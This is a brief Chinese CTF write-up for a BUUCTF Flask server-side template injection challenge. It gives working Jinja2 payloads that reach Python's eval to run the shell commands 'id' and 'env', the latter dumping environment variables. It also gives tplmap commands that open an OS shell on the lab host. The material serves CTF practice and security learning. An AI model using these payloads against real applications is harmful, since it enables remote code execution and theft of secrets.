buuctf [Flask]SSTI (tplmap)
漏洞简介
SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题。
复现过程
访问http://node3.buuoj.cn:29153/?name={{2*2}}
说明SSTI漏洞存在。
获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__('os').popen('id').read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}
打印环境变量
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__('os').popen('env').read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}
拿到flag
然后还有一个tplmap脚本
python tplmap.py -u “http://node3.buuoj.cn:29153/?name=1”
python tplmap.py -u “http://node3.buuoj.cn:29153/?name=1” --os-shell
env打印环境变量
赞 (0)